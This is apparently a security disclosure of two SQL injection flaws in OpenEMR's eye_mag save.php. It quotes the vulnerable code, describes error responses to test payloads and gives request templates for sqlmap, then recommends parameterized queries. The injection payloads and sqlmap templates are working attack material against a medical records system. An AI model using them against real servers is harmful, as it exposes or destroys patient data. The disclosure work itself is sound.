

## Multiple vulnerability SQL Injection.

### SQL Injection 1.

**Vulnerable scenario:** "/openemr/interface/forms/eye\_mag/save.php?

mode=update&action=store\_PDF"

**Vulnerable function in file:** /openemr/interface/forms/eye\_mag/save.php

**Conditions:** any authorized user

**Types:** "error-based" and "time-based blind".

#### Description:

No sanitize or filtering value of "encounter" variable.

```
318 } elseif ($_REQUEST["mode"] == "update") {
319     // The user has write privileges to work with...
320
321     if ($_REQUEST['action'] == "store_PDF") {
322         /*
323          * We want to store/overwrite the current PDF version of this encounter's f
324          * Currently this is only called 'beforeunload', ie. when you finish the form
325          * In this current paradigm, anytime the form is opened, then closed, the PDF
326          * is overwritten. With esign implemented, the PDF should be locked. I suppose
327          * with esign the form can't even be opened so the only way to get to the PDF
328          * is through the Documents->Encounters links.
329          */
330         $query = "select id from categories where name = 'Encounters'";
331         $result = sqlStatement($query);
332         $ID = sqlFetchArray($result);
333         $category_id = $ID['id'];
334         $PDF_OUTPUT = '1';
335
336         $filename = $pid . " " . $encounter . ".pdf";
337         $filepath = $GLOBALS['oer_config']['documents']['repository'] . $pid;
338         foreach (glob($filepath . '/' . $filename) as $file) {
339             unlink($file);
340         }
341
342         $sql = "DELETE from categories_to_documents where document_id IN (SELECT id from documents where documents.url like '%" . $filename . "')";
343         sqlQuery($sql);
344         $sql = "DELETE from documents where documents.url like '%" . $filename . "'";
345         sqlQuery($sql);
346         // We want to overwrite so only one PDF is stored per form/encounter
347         $config['pdf'] = $filepath . '/' . $filename;
```

Screenshot 1. Code of "store PDF" scenario.

Variable "filename" constructed by concatenation of strings and used in sql query without filtering/sanitizing. Variable "encounter" can be controlled by attacker.

The screenshot shows an HTTP request and response. The request is a GET to /openemr/interface/forms/eye\_mag/save.php?mode=update&action=store\_PDF&encounter='--'. The response is an HTTP/1.1 200 OK from Apache/2.4.29 (Ubuntu). The Content-Type is text/html; charset=utf-8. The response body contains an error message: 'Query Error: query failed: DELETE from categories\_to\_documents where document\_id IN (SELECT id from documents where documents.url like '%--\*.pdf')'. The error message also points to a syntax error in the SQL query at line 1.

Screenshot 2. HTTP request with SQL errors in answer.

#### Header file for sqlmap:

```
GET /openemr/interface/forms/eye_mag/save.php?mode=update&action=store_PDF&encounter=*
HTTP/1.1
Host: $(YOUR_SERVER_IP_HERE)
Cookie: OpenEMR=$(ANY_VALID_COOKIE_FROM_ANY_USER)
```

## SQL Injection 2.

**Vulnerable scenario:** "/openemr/interface/forms/eye\_mag/save.php?canvas="

**Vulnerable function in file:** /openemr/interface/forms/eye\_mag/save.php

**Conditions:** any authorized user

**Types:** "error-based" and "time-based blind".

### Description:

No sanitize or filtering value of "encounter" variable.

```
1159 if ($REQUEST['canvas']) {
1160     if (!$pid || !$encounter || !$zone || !$_POST["imgBase64"]) {
1161         //echo here
1162         exit;
1163     }
1164
1165     $side = "OU";
1166     $base_name = $pid . " " . $encounter . " " . $side . " " . $zone . " _VIEW";
1167     $filename = $base_name . ".jpg";
1168
1169     $type = "image/jpeg"; // all our canvases are this type
1170     $data = $_POST["imgBase64"];
1171     $data = substr($data, strpos($data, ",") + 1);
1172     $data = base64_decode($data);
1173     $size = strlen($data);
1174     $query = "select id from categories where name = 'Drawings'";
1175     $result = sqlStatement($query);
1176     $ID = sqlFetchArray($result);
1177     $category_id = $ID['id'];
1178
1179     // We want to overwrite so only one image is stored per zone per form/encounter
1180     // I do not believe this function exists in the current library, ie "UpdateDocument" function, so...
1181     // we need to delete the previous file from the documents and categories to documents tables and the actual file
1182     // There must be a delete_file function in documents class?
1183     // cannot find it.
1184     // this will work for harddisk people, not sure about couchDB people:
1185     $filepath = $GLOBALS['oer_config']['documents']['repository'] . $pid . "/";
1186     foreach (glob($filepath . '/' . $filename) as $file) {
1187         unlink($file);
1188     }
1189
1190     $sql = "DELETE from categories_to_documents where document_id IN (SELECT id from documents where documents.url like '%" . $filename . "')";
1191     sqlQuery($sql);
1192     $sql = "DELETE from documents where documents.url like '%" . $filename . "'";
1193     sqlQuery($sql);
1194     $return = addNewDocument($filename, $type, $_POST["imgBase64"], 0, $size, $_SESSION['authUserID'], $pid, $category_id);
1195     $doc_id = $return['doc_id'];
1196     $sql = "UPDATE documents set encounter_id=? where id=?"; //link it to this encounter
1197     sqlQuery($sql, array($encounter, $doc_id));
1198     exit;
1199 }
1200
```

Screenshot 3. Code of "canvas" scenario.

Variable "filename" constructed by concatenation of strings and used in sql query without filtering/sanitizing. Variables "encounter" and "zone" can be controlled by attacker.

The screenshot displays an HTTP request and its corresponding response. The request, on the left, is a POST to "/openemr/interface/forms/eye\_mag/save.php?canvas=" with a "Content-Disposition: form-data; name="imgBase64"" and a "Content-Length: 182". The response, on the right, is an "HTTP/1.1 200 OK" from Apache/2.4.29 (Ubuntu). The response body contains an error message: "Query Error: query failed: DELETE from categories\_to\_documents where document\_id IN (SELECT id from documents where documents.url like '%1 \"injected OU\" \"injected VIEW.jpg\"') at line 1</font></p><br>/var/www/openemr/interface/forms/eye\_mag/save.php at 1099:sqlQuery". The error message is formatted with HTML tags, including a red font color and a bold tag.

Screenshot 4. HTTP request with SQL errors in answer.

**Header file for sqlmap:**

```
POST /openemr/interface/forms/eye_mag/save.php?canvas=s&encounter=*&zone=_sad&pid=1 HTTP/
1.1
Host: $(YOUR_SERVER_IP_HERE)
Cookie: OpenEMR=$(ANY_VALID_COOKIE_FROM_ANY_USER)
X-Requested-With: XMLHttpRequest
Content-Type: multipart/form-data; boundary=-----14629937981996488483549949406
Content-Length: 182

-----14629937981996488483549949406
Content-Disposition: form-data; name="imgBase64"

$(ANY_VALID_BASE64)
-----14629937981996488483549949406--
```

**Solution:**

Use standard parameterized construction of sql queries, like in other queries in web application.